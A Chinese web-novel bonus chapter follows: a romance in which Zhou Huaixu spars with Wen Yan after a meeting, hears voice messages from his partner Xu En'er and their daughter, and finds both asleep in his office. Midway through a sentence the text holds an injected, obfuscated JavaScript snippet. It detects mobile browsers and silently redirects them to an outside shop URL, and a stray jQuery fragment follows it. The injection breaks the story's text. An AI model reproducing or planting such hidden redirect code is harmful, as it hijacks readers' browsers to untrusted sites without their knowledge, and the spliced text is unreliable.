番外
徐恩尔回来以后,宝宝的性格照旧很内敛。
老师说小姑娘在幼儿园很乖,从来不会和其他小朋友争抢东西,别人和她说话,她也会认真回答,只是声音总是小小的。偶尔遇到不知道该怎么回答的问题,就抿着嘴巴不说话。
这一点让徐恩尔很担心。
大概是因为缺席了宝宝太长一段时间的成长,她对此始终抱有一种难以言说的遗憾。在香港稳定以后,她几乎把所有能够空出来的时间都留给了宝宝,只要乐团那边没有排练,她就会亲自去幼儿园接她放学。
相比之下分到周淮序身上的关心可以用少的可怜来形容。
周淮序本人也没时间计较。
之前他推掉了太多工作,堆积已久的事情自然会重新落到他身上。
周老爷子对此表示。
“你就剩点钱能让人家看上了,不好好工作还想上天啊?”
周淮序没回答,选择用第二天一早准时出现在公司的实际行动,虚心接受了老爷子的建议。
连轴转的会议一场接着一场,会议室里的人还在汇报项目进度,周淮序靠在椅背上,垂眸看了一眼亮起来的手机。
对话框那头,是徐恩尔几分钟前发来的消息。
宝宝:【照片】
宝宝:【语音5’’】
宝宝:【语音7’’】
照片是一张徐恩尔和宝宝的贴脸照。
镜头里的两个人一大一小。
徐恩尔显然是刚结束乐团的训练,长发随意扎在脑后,脸上没怎么化妆,被宝宝搂着脖子往镜头前凑,唇角也跟着弯起来。
今天是周五。徐恩尔下午结束训练后就去幼儿园接了宝宝,两个人不知道又跑去了香港哪里玩,身上还穿着颜色相近的裙子。
周淮序将照片保存进了相册,用眼神示意其他人继续汇报。
做完这些,他才点开语音转文字。
——宝宝回家了。
——想你。
周淮序的视线停在最后两个字上。
徐恩尔现在已经很少这样和他撒娇。更何况平时他们住在老宅那边,家里人多,她脸皮又薄,当着其他人的面更不可能说这些。
他想稍微亲近一点,都得挑四下无人的时候。
有时候不过是在客厅里牵一下她的手,听见走廊上传来脚步声,徐恩尔就会立刻把手抽回去,装作什么都没有发生。
久而久之,周淮序已经习惯了。
这句没头没尾的“想你”,怎么看都不像她平时会主动说出来的话。
受什么委屈了?
周淮序眉心微微蹙起,手指在桌上敲了敲。
这次的合作方是闻宴。
两家最近共同投资了一个私人医疗项目,打算在香港筹建一家高端私人医院,前期的合作协议私下早就已经谈妥,今天这场会议无非是当着双方股东的面再走一遍流程。
会议结束,陆陆续续离开会议室。
周淮序站在一旁吩咐助理晚上的安排,准备提前回去。闻宴忽然叫住他,顺手从秘书那里接过一个印着大牌logo纸袋。
“等等。给宝宝买的包,前几天看见觉得适合她。”
周淮序望过去。
别说道谢,连伸手接一下的意思都没有。
“你哪个身份送?”
闻宴:“搞错没有?我给小孩买个包而已。”
周淮序神情淡淡:“她缺包?”
“她是不缺。”闻宴拖长声音,“但我买的和你买的能一样吗?”
他像是忽然想到什么,笑了一声,语气愈发吊儿郎当。
“我看你就是嫉妒前段时间幼儿园开放日,老师问宝宝最愿意和谁分享自己的东西,她把我排在了你前面。”
他说完还嫌不够,故意补了一句。
“没办法,小孩子不会撒谎。”
周淮序:“……”
闻宴满意了。
这局面某种程度上来说,也算周淮序自作自受。
闻宴对宝宝的关照确实不少。之前宝宝身体不好,闻宴对她的照顾很多。小孩子对人的喜欢很直白。谁陪她玩,谁给她带礼物,谁在她不舒服的时候哄过她,她全都记得清清楚楚。
久而久之,闻宴在宝宝心里的地位自然越来越高,在家时不时还会蹦出他的名字。
徐恩尔也很感谢闻宴,经常会好声好气地劝他,让他不要因为这种事情不高兴。
他能回答什么。
说自己不介意?
他介意得要死。
无论过去还是现在都阴魂不散的东西。
他除了忍着,还能怎么样。
周淮序面无表情地伸出手。
闻宴挑了下眉,把袋子递过去。
“这不就得了。”
周淮序懒得理他。
两个人一前一后往电梯的方向走。
闻宴跟在旁边:“你不考虑和恩恩再要一个?”
周淮序淡声:“我和你说过吧。再叫她这个名字,我真的会把你从这里扔下去。”
闻宴见好就收:“叫了这么多年了,凭什么因为你我就得改口。而且你们两个不是还没领结婚证吗。”
“再说了。家里多一个弟弟妹妹宝宝估计也会更开朗一点。我就不信你不想要。”
“叮”的一声。
紧闭的电梯门在两人面前缓缓打开,里面空无一人。
闻宴:“不过话说回来。恩恩怎么到现在还没和你领证?不会是人虽然回来了,心还没定下来吧........”
闻宴刚准备抬脚进去,周淮序却先一步伸出手,拽着他的胳膊将人从电梯门口拉了出来,随后独自走了进去。
“要生你自己生。”周淮序语气绝对不算好。
“我怎么生?”
周淮序视线在闻宴身上停了两秒,闻宴觉得那全是私人恩怨。
“也是,你前几天相亲,好像才被人家泼了一身咖啡。”
闻宴:“……”
周淮序问:“需要我借你衬衫吗?”
周淮序整理了一下袖口,无名指上的钻戒随着他的动作明晃晃地从闻宴眼前晃了过去,在电梯顶灯下折出一道格外显眼的光。
他漫不经心道。
“不过我这件不行,恩恩送的。”
闻宴:“?”
周淮序抬眼。
“有意见?”
电梯门在两人之间缓缓合拢。
他站在里面,神色冷淡,最后扔下一句。
“有意见就憋着。”周淮序说,“你生不了叫她生?脑子不要可以捐了。”
好不容易才把人带回来,再让她遭一次罪。
想都别想。
电梯门毫不留情地在闻宴面前缓缓合上,将周淮序那张脸一并挡在了里面。
闻宴终于反应过来,只来得及冲着里面骂了一句——
“周淮序,你有病吧。”
—
结婚证这件事,他们两个谁都没主动提过。毕竟徐恩尔才刚回来不久,有许多事情需要慢慢适应。
更何况老爷子最信那些黄道吉日,今天说这个月份不好,明天又说下个月有个更合适的。
一来二去,这件事也就拖到了现在。
周淮序抬手扯松领带,推开办公室的门,同时点开了会议上没来得及听的那两条语音。
“宝宝……回家!”
从手机里传出来的却不是徐恩尔的声音。
而是小姑娘软乎乎的童声。
周淮序开门的动作顿了一下。
嘈杂的背景音里,隐约还能听见另一个人压得很轻的声音,像是正凑在宝宝旁边,小声教她接下来应该说什么。
“宝宝继续说。说我想你啦。”
那道声音再熟悉不过。
周淮序站在原地,安静了几秒。
脑海里几乎立刻就浮现出了徐恩尔拿着手机,耐心哄着宝宝给他发语音的样子。
大概自己也觉得不好意思,所以不肯亲口说,非要借着宝宝的名义绕这么大一个圈子。
周淮序喉结很轻地滚动了一下。满脑子都是语音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727624|207234||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里那句轻得几乎听不清的“说我想你啦”。
直到他往办公室里面走了两步。
脚步忽然停下来。
靠窗的位置摆着一大一小两张沙发。
宝宝已经睡着了。
小姑娘一个人蜷在旁边的单人沙发上,身上盖着一条薄薄的毯子,只露出半张安静的小脸。
而另一边。
徐恩尔侧躺在长沙发上,也睡着了。
助理小声道:“您开会的时候,徐小姐带小姐过来了。说是不想打扰您开会,就一直在办公室等着。”
“知道了。”
周淮序的声音低了下来。
他抬了下手,示意助理先出去,随后放轻脚步朝沙发那边走过去。
徐恩尔原本就睡得不沉,感觉到有人靠近,她睫毛轻轻动了一下,很快迷迷糊糊地睁开眼。
看清面前的人以后,她还有些没完全清醒。
“你忙完了?”
她原本是打算带着宝宝直接回家的。这还是徐恩尔第一次主动来他工作的地方,到了以后才知道他还在开会。
她怕打扰到他,也没让助理进去通知,只带着宝宝留在办公室里等。
一大一小在这里玩了好一会儿。
最开始那两条语音,也不过是徐恩尔拿着手机逗宝宝玩,哄着小姑娘一句一句说给他听的。
后来宝宝玩累了,趴在沙发上睡着,她原本只想坐在旁边陪一会儿,不知不觉也跟着睡了过去。
“嗯。你怎么来了?”
徐恩尔坐起来一些,伸手整理了一下睡乱的头发,被他这样一言不发地盯着,莫名有些不自在。
“......宝宝想你了。”
周淮序低声问:“哪个宝宝?”
徐恩尔当然听得出来他是什么意思。
“你不是听见语音了吗?”
“听见了。”
周淮序依旧看着她:“所以问你。哪个宝宝想我?”
徐恩尔别开视线:“只是最近看你一直在忙。每天很早就出门,回来以后我又总是在陪宝宝,好像都没有怎么陪你。”
“我不想让你觉得,我只在乎宝宝,不在乎你。虽然我知道你可能不会这么想,但是你对我来说也是很重要的人。”
徐恩尔越说声音越小。
周淮序却一直没有出声。
她等了一会儿,还以为自己是不是哪里说得不对,刚准备抬头看他,右边脸颊忽然被人轻轻咬了一下。
徐恩尔一下捂住脸,怕发出声音吵醒宝宝,提醒他。
“你咬我干什么……”
周淮序低头靠近她,在她唇边轻轻碰了一下,声音压得很低。
“太可爱了。没忍住。”
说完,他低下头,又要亲她。徐恩尔几乎是下意识伸出手,一把捂住了他的嘴。
她耳朵已经红透了,声音也跟着压得很低。
“这是你办公室。”
周淮序没说话。
他垂下眼,看了一眼挡在自己唇前的手。温热的吻接着落在她掌心。
徐恩尔指尖一缩。
还没来得及把手收回来,周淮序已经握住她的手腕,顺势俯下身,将人一点点逼进沙发柔软的靠背里。
他又低下头,鼻尖若有似无地碰了碰她的,眼看着徐恩尔越来越紧张,才终于大发慈悲似的停下来。
“那明天去领证。”
“可是爷爷之前不是说要等——”
“他最近看了八个日子。再等下去,明年也领不了。”
周淮序又亲了亲她的左脸。徐恩尔知道她不答应这人估计不会停下来,点点头算是同意了。
以前做什么都不问她的人,如今却像是忽然换了个性子,事事都要先问过她的意见,几乎从一个极端走到了另一个极端。
好说话的模样显然让某人得寸进尺。
“那我们搬出去住。”
“好。”
“那你以后少在我面前提闻宴。”
“好。”
“那你主动亲我一下。”